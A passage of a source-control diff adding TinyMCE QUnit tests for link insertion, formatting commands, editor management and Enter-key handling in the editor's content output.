+	editor.execCommand('SelectAll');
+	editor.execCommand('mceInsertLink', false, 'test');
+	equal(editor.getContent(), '<p><a href="test">test 123</a></p>');
+});
+
+test('mceInsertLink (link absolute)', function() {
+	expect(1);
+
+	editor.setContent('<p>test 123</p>');
+	editor.execCommand('SelectAll');
+	editor.execCommand('mceInsertLink', false, 'http://www.site.com');
+	equal(editor.getContent(), '<p><a href="http://www.site.com">test 123</a></p>');
+});
+
+test('mceInsertLink (link encoded)', function() {
+	expect(1);
+
+	editor.setContent('<p>test 123</p>');
+	editor.execCommand('SelectAll');
+	editor.execCommand('mceInsertLink', false, '"&<>');
+	equal(editor.getContent(), '<p><a href="&quot;&amp;&lt;&gt;">test 123</a></p>');
+});
+
+test('mceInsertLink (link encoded and with class)', function() {
+	expect(1);
+
+	editor.setContent('<p>test 123</p>');
+	editor.execCommand('SelectAll');
+	editor.execCommand('mceInsertLink', false, {href : '"&<>', 'class' : 'test'});
+	equal(editor.getContent(), '<p><a class="test" href="&quot;&amp;&lt;&gt;">test 123</a></p>');
+});
+
+test('mceInsertLink (link with space)', function() {
+	expect(1);
+
+	editor.setContent('<p>test 123</p>');
+	editor.execCommand('SelectAll');
+	editor.execCommand('mceInsertLink', false, {href : 'foo bar'});
+	equal(editor.getContent(), '<p><a href="foo%20bar">test 123</a></p>');
+});
+
+test('mceInsertLink (link floated img)', function() {
+	expect(1);
+
+	editor.setContent('<p><img style="float: right;" src="about:blank" /></p>');
+	editor.execCommand('SelectAll');
+	editor.execCommand('mceInsertLink', false, 'link');
+	equal(editor.getContent(), '<p><a href="link"><img style="float: right;" src="about:blank" alt="" /></a></p>');
+});
+
+test('mceInsertLink (link adjacent text)', function() {
+	var rng;
+
+	expect(1);
+
+	editor.setContent('<p><a href="#">a</a>b</p>');
+
+	rng = editor.dom.createRng();
+	rng.setStart(editor.getBody().firstChild.lastChild, 0);
+	rng.setEnd(editor.getBody().firstChild.lastChild, 1);
+	editor.selection.setRng(rng);
+
+	editor.execCommand('mceInsertLink', false, 'link');
+	equal(editor.getContent(), '<p><a href="#">a</a><a href="link">b</a></p>');
+});
+
+test('mceInsertLink (link text inside text)', function() {
+	expect(1);
+
+	editor.setContent('<p><a href="#"><em>abc</em></a></p>');
+	Utils.setSelection('em', 1, 'em', 2);
+
+	editor.execCommand('mceInsertLink', false, 'link');
+	equal(editor.getContent(), '<p><a href="link"><em>abc</em></a></p>');
+});
+
+test('mceInsertLink (link around existing links)', function() {
+	expect(1);
+
+	editor.setContent('<p><a href="#1">1</a><a href="#2">2</a></p>');
+	editor.execCommand('SelectAll');
+
+	editor.execCommand('mceInsertLink', false, 'link');
+	equal(editor.getContent(), '<p><a href="link">12</a></p>');
+});
+
+test('mceInsertLink (link around existing links with different attrs)', function() {
+	expect(1);
+
+	editor.setContent('<p><a id="a" href="#1">1</a><a id="b" href="#2">2</a></p>');
+	editor.execCommand('SelectAll');
+
+	editor.execCommand('mceInsertLink', false, 'link');
+	equal(editor.getContent(), '<p><a href="link">12</a></p>');
+});
+
+test('mceInsertLink (link around existing complex contents with links)', function() {
+	expect(1);
+
+	editor.setContent('<p><span id="s1"><strong><a id="a" href="#1"><em>1</em></a></strong></span><span id="s2"><em><a id="b" href="#2"><strong>2</strong></a></em></span></p>');
+	editor.execCommand('SelectAll');
+
+	editor.execCommand('mceInsertLink', false, 'link');
+	equal(editor.getContent(), '<p><a href="link"><span id="s1"><strong><em>1</em></strong></span><span id="s2"><em><strong>2</strong></em></span></a></p>');
+});
+
+test('mceInsertLink (link text inside link)', function() {
+	expect(1);
+
+	editor.setContent('<p><a href="#">test</a></p>');
+	Utils.setSelection('p', 0, 'p', 1);
+	editor.execCommand('SelectAll');
+
+	editor.execCommand('mceInsertLink', false, 'link');
+	equal(editor.getContent(), '<p><a href="link">test</a></p>');
+});
+
+test('unlink', function() {
+	editor.setContent('<p><a href="test">test</a> <a href="test">123</a></p>');
+	editor.execCommand('SelectAll');
+	editor.execCommand('unlink');
+	equal(editor.getContent(), '<p>test 123</p>');
+});
+
+test('subscript/superscript', function() {
+	expect(4);
+
+	editor.setContent('<p>test 123</p>');
+	editor.execCommand('SelectAll');
+	editor.execCommand('subscript');
+	equal(editor.getContent(), '<p><sub>test 123</sub></p>');
+
+	editor.setContent('<p>test 123</p>');
+	editor.execCommand('SelectAll');
+	editor.execCommand('superscript');
+	equal(editor.getContent(), '<p><sup>test 123</sup></p>');
+
+	editor.setContent('<p>test 123</p>');
+	editor.execCommand('SelectAll');
+	editor.execCommand('subscript');
+	editor.execCommand('subscript');
+	equal(editor.getContent(), '<p>test 123</p>');
+
+	editor.setContent('<p>test 123</p>');
+	editor.execCommand('SelectAll');
+	editor.execCommand('superscript');
+	editor.execCommand('superscript');
+	equal(editor.getContent(), '<p>test 123</p>');
+});
+
+test('indent/outdent', function() {
+	expect(4);
+
+	editor.setContent('<p>test 123</p>');
+	editor.execCommand('SelectAll');
+	editor.execCommand('Indent');
+	equal(editor.getContent(), '<p style="padding-left: 30px;">test 123</p>');
+
+	editor.setContent('<p>test 123</p>');
+	editor.execCommand('SelectAll');
+	editor.execCommand('Indent');
+	editor.execCommand('Indent');
+	equal(editor.getContent(), '<p style="padding-left: 60px;">test 123</p>');
+
+	editor.setContent('<p>test 123</p>');
+	editor.execCommand('SelectAll');
+	editor.execCommand('Indent');
+	editor.execCommand('Indent');
+	editor.execCommand('Outdent');
+	equal(editor.getContent(), '<p style="padding-left: 30px;">test 123</p>');
+
+	editor.setContent('<p>test 123</p>');
+	editor.execCommand('SelectAll');
+	editor.execCommand('Outdent');
+	equal(editor.getContent(), '<p>test 123</p>');
+});
+
+test('RemoveFormat', function() {
+	expect(4);
+
+	editor.setContent('<p><em>test</em> <strong>123</strong> <a href="123">123</a> 123</p>');
+	editor.execCommand('SelectAll');
+	editor.execCommand('RemoveFormat');
+	equal(editor.getContent(), '<p>test 123 <a href="123">123</a> 123</p>');
+
+	editor.setContent('<p><em><em>test</em> <strong>123</strong> <a href="123">123</a> 123</em></p>');
+	editor.execCommand('SelectAll');
+	editor.execCommand('RemoveFormat');
+	equal(editor.getContent(), '<p>test 123 <a href="123">123</a> 123</p>');
+
+	editor.setContent('<p><em>test<span id="x">test <strong>123</strong></span><a href="123">123</a> 123</em></p>');
+	editor.selection.select(editor.dom.get('x'));
+	editor.execCommand('RemoveFormat');
+	equal(editor.getContent(), '<p><em>test</em><span id="x">test 123</span><em><a href="123">123</a> 123</em></p>');
+
+	editor.setContent('<p><dfn>dfn tag </dfn> <code>code tag </code> <samp>samp tag</samp> <kbd> kbd tag</kbd> <var> var tag</var> <cite> cite tag</cite> <mark> mark tag</mark> <q> q tag</q></p>');
+	editor.execCommand('SelectAll');
+	editor.execCommand('RemoveFormat');
+	equal(editor.getContent(), '<p>dfn tag code tag samp tag kbd tag var tag cite tag mark tag q tag</p>');
+});
+
+test('InsertLineBreak', function() {
+	editor.setContent('<p>123</p>');
+	Utils.setSelection('p', 2);
+	editor.execCommand('InsertLineBreak');
+	equal(editor.getContent(), '<p>12<br />3</p>');
+
+	editor.setContent('<p>123</p>');
+	Utils.setSelection('p', 0);
+	editor.execCommand('InsertLineBreak');
+	equal(editor.getContent(), '<p><br />123</p>');
+
+	editor.setContent('<p>123</p>');
+	Utils.setSelection('p', 3);
+	editor.execCommand('InsertLineBreak');
+	equal(Utils.cleanHtml(editor.getBody().innerHTML), (tinymce.isIE && tinymce.Env.ie < 11) ? '<p>123<br></p>': '<p>123<br><br></p>');
+});
Index: /tags/4.1.6/tests/qunit/editor/tinymce/EditorManager.js
===================================================================
--- /tags/4.1.6/tests/qunit/editor/tinymce/EditorManager.js	(revision 33402)
+++ /tags/4.1.6/tests/qunit/editor/tinymce/EditorManager.js	(revision 33402)
@@ -0,0 +1,99 @@
+module("tinymce.EditorManager", {
+	setupModule: function() {
+		QUnit.stop();
+
+		tinymce.init({
+			selector: "textarea",
+			plugins: wpPlugins,
+			add_unload_trigger: false,
+			disable_nodechange: true,
+			skin: false,
+			init_instance_callback: function(ed) {
+				window.editor = ed;
+				QUnit.start();
+			}
+		});
+	}
+});
+
+test('get', function() {
+	strictEqual(tinymce.get().length, 1);
+	strictEqual(tinymce.get(0), tinymce.activeEditor);
+	strictEqual(tinymce.get(1), null);
+	strictEqual(tinymce.get("noid"), null);
+	strictEqual(tinymce.get(undefined), null);
+	strictEqual(tinymce.get()[0], tinymce.activeEditor);
+	strictEqual(tinymce.get(tinymce.activeEditor.id), tinymce.activeEditor);
+});
+
+test('addI18n/translate', function() {
+	tinymce.addI18n('en', {
+		'from': 'to'
+	});
+
+	equal(tinymce.translate('from'), 'to');
+});
+
+test('triggerSave', function() {
+	var saveCount = 0;
+
+	window.editor.on('SaveContent', function() {
+		saveCount++;
+	});
+
+	tinymce.triggerSave();
+	equal(saveCount, 1);
+});
+
+test('Re-init on same id', function() {
+	tinymce.init({selector: "#" + tinymce.activeEditor.id});
+	strictEqual(tinymce.get().length, 1);
+});
+
+asyncTest('Externally destroyed editor', function() {
+	tinymce.remove();
+
+	tinymce.init({
+		selector: "textarea",
+		init_instance_callback: function(editor1) {
+			setTimeout(function() {
+				// Destroy the editor by setting innerHTML common ajax pattern
+				document.getElementById('view').innerHTML = '<textarea id="' + editor1.id + '"></textarea>';
+
+				// Re-init the editor will have the same id
+				tinymce.init({
+					selector: "textarea",
+					init_instance_callback: function(editor2) {
+						QUnit.start();
+
+						strictEqual(tinymce.get().length, 1);
+						strictEqual(editor1.id, editor2.id);
+						ok(editor1.destroyed, "First editor instance should be destroyed");
+					}
+				});
+			}, 0);
+		}
+	});
+});
+
+asyncTest('Init/remove on same id', function() {
+	var textArea = document.createElement('textarea');
+	document.getElementById('view').appendChild(textArea);
+
+	tinymce.init({
+		selector: "#view textarea",
+		init_instance_callback: function() {
+			window.setTimeout(function() {
+				QUnit.start();
+
+				strictEqual(tinymce.get().length, 2);
+				strictEqual(tinymce.get(1), tinymce.activeEditor);
+				tinymce.remove('#' + tinymce.get(1).id);
+				strictEqual(tinymce.get().length, 1);
+				strictEqual(tinymce.get(0), tinymce.activeEditor);
+			}, 0);
+		}
+	});
+
+	strictEqual(tinymce.get().length, 2);
+});
Index: /tags/4.1.6/tests/qunit/editor/tinymce/EnterKey.js
===================================================================
--- /tags/4.1.6/tests/qunit/editor/tinymce/EnterKey.js	(revision 33402)
+++ /tags/4.1.6/tests/qunit/editor/tinymce/EnterKey.js	(revision 33402)
@@ -0,0 +1,1069 @@
+module("tinymce.EnterKey", {
+	setupModule: function() {
+		QUnit.stop();
+
+		tinymce.init({
+			selector: "textarea",
+			plugins: wpPlugins,
+			add_unload_trigger: false,
+			disable_nodechange: true,
+			indent: false,
+			skin: false,
+			entities: 'raw',
+			schema: 'html5',
+			extended_valid_elements: 'div[id|style|contenteditable],span[id|style|contenteditable],#dt,#dd',
+			valid_styles: {
+				'*': 'color,font-size,font-family,background-color,font-weight,font-style,text-decoration,float,margin,margin-top,margin-right,margin-bottom,margin-left,display,position,top,left'
+			},
+			init_instance_callback: function(ed) {
+				window.editor = ed;
+				QUnit.start();
+			}
+		});
+	},
+
+	teardown: function() {
+		editor.settings.forced_root_block = 'p';
+		editor.settings.forced_root_block_attrs = null;
+		editor.settings.end_container_on_empty_block = false;
+		editor.settings.br_in_pre = true;
+		editor.settings.keep_styles = true;
+		delete editor.settings.force_p_newlines;
+	}
+});
+
+test('Enter at end of H1', function() {
+	editor.setContent('<h1>abc</h1>');
+	Utils.setSelection('h1', 3);
+	Utils.pressEnter();
+	equal(editor.getContent(),'<h1>abc</h1><p>\u00a0</p>');
+	equal(editor.selection.getRng(true).startContainer.nodeName, 'P');
+});
+
+test('Enter in midde of H1', function() {
+	editor.setContent('<h1>abcd</h1>');
+	Utils.setSelection('h1', 2);
+	Utils.pressEnter();
+	equal(editor.getContent(),'<h1>ab</h1><h1>cd</h1>');
+	equal(editor.selection.getRng(true).startContainer.parentNode.nodeName, 'H1');
+});
+
+test('Enter before text after EM', function() {
+	editor.setContent('<p><em>a</em>b</p>');
+	editor.selection.setCursorLocation(editor.getBody().firstChild, 1);
+	Utils.pressEnter();
+	equal(editor.getContent(),'<p><em>a</em></p><p>b</p>');
+	var rng = editor.selection.getRng(true);
+	equal(rng.startContainer.nodeValue, 'b');
+});
+
+test('Enter before first IMG in P', function() {
+	editor.setContent('<p><img alt="" src="about:blank" /></p>');
+	editor.selection.setCursorLocation(editor.getBody().firstChild, 0);
+	Utils.pressEnter();
+	equal(editor.getContent(),'<p>\u00a0</p><p><img src="about:blank" alt="" /></p>');
+});
+
+test('Enter before last IMG in P with text', function() {
+	editor.setContent('<p>abc<img alt="" src="about:blank" /></p>');
+	editor.selection.setCursorLocation(editor.getBody().firstChild, 1);
+	Utils.pressEnter();
+	equal(editor.getContent(),'<p>abc</p><p><img src="about:blank" alt="" /></p>');
+	var rng = editor.selection.getRng(true);
+	equal(rng.startContainer.nodeName, 'P');
+	equal(rng.startContainer.childNodes[rng.startOffset].nodeName, 'IMG');
+});
+
+test('Enter before last IMG in P with IMG sibling', function() {
+	editor.setContent('<p><img src="about:blank" alt="" /><img src="about:blank" alt="" /></p>');
+	editor.selection.setCursorLocation(editor.getBody().firstChild, 1);
+	Utils.pressEnter();
+	equal(editor.getContent(),'<p><img src="about:blank" alt="" /></p><p><img src="about:blank" alt="" /></p>');
+	var rng = editor.selection.getRng(true);
+	equal(rng.startContainer.nodeName, 'P');
+	equal(rng.startContainer.childNodes[rng.startOffset].nodeName, 'IMG');
+});
+
+test('Enter after last IMG in P', function() {
+	editor.setContent('<p>abc<img alt="" src="about:blank" /></p>');
+	editor.selection.setCursorLocation(editor.getBody().firstChild, 2);
+	Utils.pressEnter();
+	equal(editor.getContent(),'<p>abc<img src="about:blank" alt="" /></p><p>\u00a0</p>');
+});
+
+test('Enter before last INPUT in P with text', function() {
+	editor.setContent('<p>abc<input type="text" /></p>');
+	editor.selection.setCursorLocation(editor.getBody().firstChild, 1);
+	Utils.pressEnter();
+	equal(editor.getContent(),'<p>abc</p><p><input type="text" /></p>');
+	var rng = editor.selection.getRng(true);
+	equal(rng.startContainer.nodeName, 'P');
+	equal(rng.startContainer.childNodes[rng.startOffset].nodeName, 'INPUT');
+});
+
+test('Enter before last INPUT in P with IMG sibling', function() {
+	editor.setContent('<p><input type="text" /><input type="text" /></p>');
+	editor.selection.setCursorLocation(editor.getBody().firstChild, 1);
+	Utils.pressEnter();
+	equal(editor.getContent(),'<p><input type="text" /></p><p><input type="text" /></p>');
+	var rng = editor.selection.getRng(true);
+	equal(rng.startContainer.nodeName, 'P');
+	equal(rng.startContainer.childNodes[rng.startOffset].nodeName, 'INPUT');
+});
+
+test('Enter after last INPUT in P', function() {
+	editor.setContent('<p>abc<input type="text" /></p>');
+	editor.selection.setCursorLocation(editor.getBody().firstChild, 2);
+	Utils.pressEnter();
+	equal(editor.getContent(),'<p>abc<input type="text" /></p><p>\u00a0</p>');
+});
+
+test('Enter at end of P', function() {
+	editor.setContent('<p>abc</p>');
+	Utils.setSelection('p', 3);
+	Utils.pressEnter();
+	equal(editor.getContent(),'<p>abc</p><p>\u00a0</p>');
+	equal(editor.selection.getRng(true).startContainer.nodeName, 'P');
+});
+
+test('Enter at end of EM inside P', function() {
+	editor.setContent('<p><em>abc</em></p>');
+	Utils.setSelection('em', 3);
+	Utils.pressEnter();
+	equal(Utils.cleanHtml(editor.getBody().innerHTML).replace(/<br([^>]+|)>|&nbsp;/g, ''), '<p><em>abc</em></p><p><em></em></p>');
+	equal(editor.selection.getRng(true).startContainer.nodeName, 'EM');
+});
+
+test('Enter at middle of EM inside P', function() {
+	editor.setContent('<p><em>abcd</em></p>');
+	Utils.setSelection('em', 2);
+	Utils.pressEnter();
+	equal(editor.getContent(),'<p><em>ab</em></p><p><em>cd</em></p>');
+	equal(editor.selection.getRng(true).startContainer.parentNode.nodeName, 'EM');
+});
+
+test('Enter at beginning EM inside P', function() {
+	editor.setContent('<p><em>abc</em></p>');
+	Utils.setSelection('em', 0);
+	Utils.pressEnter();
+	equal(Utils.cleanHtml(editor.getBody().innerHTML).replace(/<br([^>]+|)>|&nbsp;/g, ''), '<p><em></em></p><p><em>abc</em></p>');
+	equal(editor.selection.getRng(true).startContainer.nodeValue, 'abc');
+});
+
+test('Enter at end of STRONG in EM inside P', function() {
+	editor.setContent('<p><em><strong>abc</strong></em></p>');
+	Utils.setSelection('strong', 3);
+	Utils.pressEnter();
+	equal(Utils.cleanHtml(editor.getBody().innerHTML).replace(/<br([^>]+|)>|&nbsp;/g, ''), '<p><em><strong>abc</strong></em></p><p><em><strong></strong></em></p>');
+	equal(editor.selection.getRng(true).startContainer.nodeName, 'STRONG');
+});
+
+test('Enter at middle of STRONG in EM inside P', function() {
+	editor.setContent('<p><em><strong>abcd</strong></em></p>');
+	Utils.setSelection('strong', 2);
+	Utils.pressEnter();
+	equal(editor.getContent(),'<p><em><strong>ab</strong></em></p><p><em><strong>cd</strong></em></p>');
+	equal(editor.selection.getRng(true).startContainer.parentNode.nodeName, 'STRONG');
+});
+
+test('Enter at beginning STRONG in EM inside P', function() {
+	editor.setContent('<p><em><strong>abc</strong></em></p>');
+	Utils.setSelection('strong', 0);
+	Utils.pressEnter();
+	equal(Utils.cleanHtml(editor.getBody().innerHTML).replace(/<br([^>]+|)>|&nbsp;/g, ''), '<p><em><strong></strong></em></p><p><em><strong>abc</strong></em></p>');
+	equal(editor.selection.getRng(true).startContainer.nodeValue, 'abc');
+});
+
+test('Enter at beginning of P', function() {
+	editor.setContent('<p>abc</p>');
+	Utils.setSelection('p', 0);
+	Utils.pressEnter();
+	equal(editor.getContent(),'<p>\u00a0</p><p>abc</p>');
+	equal(editor.selection.getRng(true).startContainer.nodeValue, 'abc');
+});
+
+test('Enter at middle of P with style, id and class attributes', function() {
+	editor.setContent('<p id="a" class="b" style="color:#000">abcd</p>');
+	Utils.setSelection('p', 2);
+	Utils.pressEnter();
+	equal(editor.getContent(),'<p id="a" class="b" style="color: #000;">ab</p><p class="b" style="color: #000;">cd</p>');
+	equal(editor.selection.getRng(true).startContainer.parentNode.nodeName, 'P');
+});
+
+test('Enter at a range between H1 and P', function() {
+	editor.setContent('<h1>abcd</h1><p>efgh</p>');
+	Utils.setSelection('h1', 2, 'p', 2);
+	Utils.pressEnter();
+	equal(editor.getContent(),'<h1>abgh</h1>');
+	equal(editor.selection.getNode().nodeName, 'H1');
+});
+
+test('Enter at end of H1 in HGROUP', function() {
+	editor.setContent('<hgroup><h1>abc</h1></hgroup>');
+	Utils.setSelection('h1', 3);
+	Utils.pressEnter();
+	equal(editor.getContent(),'<hgroup><h1>abc</h1><h1>\u00a0</h1></hgroup>');
+	equal(editor.selection.getRng(true).startContainer.nodeName, 'H1');
+});
+
+test('Enter inside empty TD', function() {
+	editor.getBody().innerHTML = '<table><tr><td></td></tr></table>';
+	Utils.setSelection('td', 0);
+	Utils.pressEnter();
+	equal(Utils.cleanHtml(editor.getBody().innerHTML).replace(/<br([^>]+|)>|&nbsp;/g, ''), '<table><tbody><tr><td><p></p><p></p></td></tr></tbody></table>');
+	equal(editor.selection.getNode().nodeName, 'P');
+});
+
+test('Shift+Enter inside STRONG inside TD with BR', function() {
+	editor.getBody().innerHTML = '<table><tr><td>d <strong>e</strong><br></td></tr></table>';
+	Utils.setSelection('strong', 1);
+	Utils.pressEnter({shiftKey: true});
+	equal(Utils.cleanHtml(editor.getBody().innerHTML), '<table><tbody><tr><td>d <strong>e<br></strong><br></td></tr></tbody></table>');
+	equal(editor.selection.getNode().nodeName, 'STRONG');
+});
+
+test('Enter inside middle of text node in body', function() {
+	editor.getBody().innerHTML = 'abcd';
+	Utils.setSelection('body', 2);
+	Utils.pressEnter();
+	equal(editor.getContent(),'<p>ab</p><p>cd</p>');
+	equal(editor.selection.getNode().nodeName, 'P');
+});
+
+test('Enter inside at beginning of text node in body', function() {
+	editor.getBody().innerHTML = 'abcd';
+	Utils.setSelection('body', 0);
+	Utils.pressEnter();
+	equal(editor.getContent(),'<p>\u00a0</p><p>abcd</p>');
+	equal(editor.selection.getNode().nodeName, 'P');
+});
+
+test('Enter inside at end of text node in body', function() {
+	editor.getBody().innerHTML = 'abcd';
+	Utils.setSelection('body', 4);
+	Utils.pressEnter();
+	equal(editor.getContent(),'<p>abcd</p><p>\u00a0</p>');
+	equal(editor.selection.getNode().nodeName, 'P');
+});
+
+test('Enter inside empty body', function() {
+	editor.getBody().innerHTML = '';
+	Utils.setSelection('body', 0);
+	Utils.pressEnter();
+	equal(editor.getContent(),'<p>\u00a0</p><p>\u00a0</p>');
+	equal(editor.selection.getNode().nodeName, 'P');
+});
+
+test('Enter inside empty li in beginning of ol', function() {
+	editor.getBody().innerHTML = (tinymce.isIE && tinymce.Env.ie < 11) ? '<ol><li></li><li>a</li></ol>': '<ol><li><br></li><li>a</li></ol>';
+	Utils.setSelection('li', 0);
+	Utils.pressEnter();
+	equal(editor.getContent(),'<p>\u00a0</p><ol><li>a</li></ol>');
+	equal(editor.selection.getNode().nodeName, 'P');
+});
+
+test('Enter inside empty li at the end of ol', function() {
+	editor.getBody().innerHTML = (tinymce.isIE && tinymce.Env.ie < 11) ? '<ol><li>a</li><li></li></ol>': '<ol><li>a</li><li><br></li></ol>';
+	Utils.setSelection('li:last', 0);
+	Utils.pressEnter();
+	equal(editor.getContent(),'<ol><li>a</li></ol><p>\u00a0</p>');
+	equal(editor.selection.getNode().nodeName, 'P');
+});
+
+test('Shift+Enter inside empty li in the middle of ol', function() {
+	editor.getBody().innerHTML = (tinymce.isIE && tinymce.Env.ie < 11) ? '<ol><li>a</li><li></li><li>b</li></ol>':  '<ol><li>a</li><li><br></li><li>b</li></ol>';
+	Utils.setSelection('li:nth-child(2)', 0);
+	Utils.pressEnter({shiftKey: true});
+	equal(editor.getContent(),'<ol><li>a</li></ol><p>\u00a0</p><ol><li>b</li></ol>');
+	equal(editor.selection.getNode().nodeName, 'P');
+});
+
+test('Shift+Enter inside empty li in beginning of ol', function() {
+	editor.getBody().innerHTML = (tinymce.isIE && tinymce.Env.ie < 11) ? '<ol><li></li><li>a</li></ol>': '<ol><li><br></li><li>a</li></ol>';
+	Utils.setSelection('li', 0);
+	Utils.pressEnter({shiftKey: true});
+	equal(editor.getContent(),'<p>\u00a0</p><ol><li>a</li></ol>');
+	equal(editor.selection.getNode().nodeName, 'P');
+});
+
+test('Shift+Enter inside empty li at the end of ol', function() {
+	editor.getBody().innerHTML = (tinymce.isIE && tinymce.Env.ie < 11) ? '<ol><li>a</li><li></li></ol>': '<ol><li>a</li><li><br></li></ol>';
+	Utils.setSelection('li:last', 0);
+	Utils.pressEnter({shiftKey: true});
+	equal(editor.getContent(),'<ol><li>a</li></ol><p>\u00a0</p>');
+	equal(editor.selection.getNode().nodeName, 'P');
+});
+
+test('Enter inside empty li in the middle of ol with forced_root_block: false', function() {
+	editor.settings.forced_root_block = false;
+	editor.getBody().innerHTML = (tinymce.isIE && tinymce.Env.ie < 11) ? '<ol><li>a</li><li></li><li>b</li></ol>':  '<ol><li>a</li><li><br></li><li>b</li></ol>';
+	Utils.setSelection('li:nth-child(2)', 0);
+	Utils.pressEnter();
+	equal(editor.getContent(),'<ol><li>a</li></ol><br /><ol><li>b</li></ol>');
+	equal(editor.selection.getNode().nodeName, 'BODY');
+});
+
+test('Enter inside empty li in beginning of ol with forced_root_block: false', function() {
+	editor.settings.forced_root_block = false;
+	editor.getBody().innerHTML = (tinymce.isIE && tinymce.Env.ie < 11) ? '<ol><li></li><li>a</li></ol>': '<ol><li><br></li><li>a</li></ol>';
+	Utils.setSelection('li', 0);
+	Utils.pressEnter();
+	equal(editor.getContent(),'<br /><ol><li>a</li></ol>');
+	equal(editor.selection.getNode().nodeName, 'BODY');
+});
+
+test('Enter inside empty li at the end of ol with forced_root_block: false', function() {
+	editor.settings.forced_root_block = false;
+	editor.getBody().innerHTML = (tinymce.isIE && tinymce.Env.ie < 11) ? '<ol><li>a</li><li></li></ol>': '<ol><li>a</li><li><br></li></ol>';
+	Utils.setSelection('li:last', 0);
+	Utils.pressEnter();
+	equal(Utils.cleanHtml(editor.getBody().innerHTML), '<ol><li>a</li></ol><br>');
+	equal(editor.selection.getNode().nodeName, 'BODY');
+});
+
+test('Enter inside empty li in the middle of ol', function() {
+	editor.getBody().innerHTML = (tinymce.isIE && tinymce.Env.ie < 11) ? '<ol><li>a</li><li></li><li>b</li></ol>':  '<ol><li>a</li><li><br></li><li>b</li></ol>';
+	Utils.setSelection('li:nth-child(2)', 0);
+	Utils.pressEnter();
+	equal(editor.getContent(),'<ol><li>a</li></ol><p>\u00a0</p><ol><li>b</li></ol>');
+	equal(editor.selection.getNode().nodeName, 'P');
+});
+
+// Nested lists in LI elements
+
+test('Enter inside empty LI in beginning of OL in LI', function() {
+	editor.getBody().innerHTML = Utils.trimBrsOnIE(
+		'<ol>' +
+			'<li>a' +
+				'<ol>' +
+					'<li><br></li>' +
+					'<li>a</li>' +
+				'</ol>' +
+			'</li>' +
+		'</ol>'
+	);
+
+	Utils.setSelection('li li', 0);
+	editor.focus();
+	Utils.pressEnter();
+
+	equal(editor.getContent(),
+		'<ol>' +
+			'<li>a</li>' +
+			'<li>' +
+				'<ol>' +
+					'<li>a</li>' +
+				'</ol>' +
+			'</li>' +
+		'</ol>'
+	);
+
+	equal(editor.selection.getNode().nodeName, 'LI');
+});
+
+test('Enter inside empty LI in middle of OL in LI', function() {
+	editor.getBody().innerHTML = Utils.trimBrsOnIE(
+		'<ol>' +
+			'<li>a' +
+				'<ol>' +
+					'<li>a</li>' +
+					'<li><br></li>' +
+					'<li>b</li>' +
+				'</ol>' +
+			'</li>' +
+		'</ol>'
+	);
+
+	Utils.setSelection('li li:nth-child(2)', 0);
+	editor.focus();
+	Utils.pressEnter();
+
+	equal(editor.getContent(),
+		'<ol>' +
+			'<li>a' +
+				'<ol>' +
+					'<li>a</li>' +
+				'</ol>' +
+			'</li>' +
+			'<li>\u00a0' +
+				'<ol>' +
+					'<li>b</li>' +
+				'</ol>' +
+			'</li>' +
+		'</ol>'
+	);
+
+	// Ignore on IE 7, 8 this is a known bug not worth fixing
+	if (!tinymce.Env.ie || tinymce.Env.ie > 8) {
+		equal(editor.selection.getNode().nodeName, 'LI');
+	}
+});
+
+test('Enter inside empty LI in end of OL in LI', function() {
+	editor.getBody().innerHTML = Utils.trimBrsOnIE(
+		'<ol>' +
+			'<li>a' +
+				'<ol>' +
+					'<li>a</li>' +
+					'<li><br></li>' +
+				'</ol>' +
+			'</li>' +
+		'</ol>'
+	);
+
+	Utils.setSelection('li li:last', 0);
+	editor.focus();
+	Utils.pressEnter();
+
+	equal(editor.getContent(),
+		'<ol>' +
+			'<li>a' +
+				'<ol>' +
+					'<li>a</li>' +
+				'</ol>' +
+			'</li>' +
+			'<li></li>' +
+		'</ol>'
+	);
+
+	equal(editor.selection.getNode().nodeName, 'LI');
+});
+
+// Nested lists in OL elements
+
+// Ignore on IE 7, 8 this is a known bug not worth fixing
+if (!tinymce.Env.ie || tinymce.Env.ie > 8) {
+	test('Enter before nested list', function() {
+		editor.getBody().innerHTML = Utils.trimBrsOnIE(
+			'<ol>' +
+				'<li>a' +
+					'<ul>' +
+						'<li>b</li>' +
+						'<li>c</li>' +
+					'</ul>' +
+				'</li>' +
+			'</ol>'
+		);
+
+		Utils.setSelection('ol > li', 1);
+		editor.focus();
+		Utils.pressEnter();
+
+		equal(editor.getContent(),
+			'<ol>' +
+				'<li>a</li>' +
+				'<li>\u00a0' +
+					'<ul>' +
+						'<li>b</li>' +
+						'<li>c</li>' +
+					'</ul>' +
+				'</li>' +
+			'</ol>'
+		);
+
+		equal(editor.selection.getNode().nodeName, 'LI');
+	});
+}
+
+test('Enter inside empty LI in beginning of OL in OL', function() {
+	editor.getBody().innerHTML = Utils.trimBrsOnIE(
+		'<ol>' +
+			'<li>a</li>' +
+			'<ol>' +
+				'<li><br></li>' +
+				'<li>a</li>' +
+			'</ol>' +
+		'</ol>'
+	);
+
+	Utils.setSelection('ol ol li', 0);
+	editor.focus();
+	Utils.pressEnter();
+
+	equal(editor.getContent(),
+		'<ol>' +
+			'<li>a</li>' +
+			'<li></li>' +
+			'<ol>' +
+				'<li>a</li>' +
+			'</ol>' +
+		'</ol>'
+	);
+
+	equal(editor.selection.getNode().nodeName, 'LI');
+});
+
+test('Enter inside empty LI in middle of OL in OL', function() {
+	editor.getBody().innerHTML = Utils.trimBrsOnIE(
+		'<ol>' +
+			'<li>a</li>' +
+			'<ol>' +
+				'<li>a</li>' +
+				'<li><br></li>' +
+				'<li>b</li>' +
+			'</ol>' +
+		'</ol>'
+	);
+
+	Utils.setSelection('ol ol li:nth-child(2)', 0);
+	editor.focus();
+	Utils.pressEnter();
+
+	equal(editor.getContent(),
+		'<ol>' +
+			'<li>a</li>' +
+			'<ol>' +
+				'<li>a</li>' +
+			'</ol>' +
+			'<li></li>' +
+			'<ol>' +
+				'<li>b</li>' +
+			'</ol>' +
+		'</ol>'
+	);
+
+	equal(editor.selection.getNode().nodeName, 'LI');
+});
+
+test('Enter inside empty LI in end of OL in OL', function() {
+	editor.getBody().innerHTML = Utils.trimBrsOnIE(
+		'<ol>' +
+			'<li>a</li>' +
+			'<ol>' +
+				'<li>a</li>' +
+				'<li><br></li>' +
+			'</ol>' +
+		'</ol>'
+	);
+
+	Utils.setSelection('ol ol li:last', 0);
+	editor.focus();
+	Utils.pressEnter();
+
+	equal(editor.getContent(),
+		'<ol>' +
+			'<li>a</li>' +
+			'<ol>' +
+				'<li>a</li>' +
+			'</ol>' +
+			'<li></li>' +
+		'</ol>'
+	);
+
+	equal(editor.selection.getNode().nodeName, 'LI');
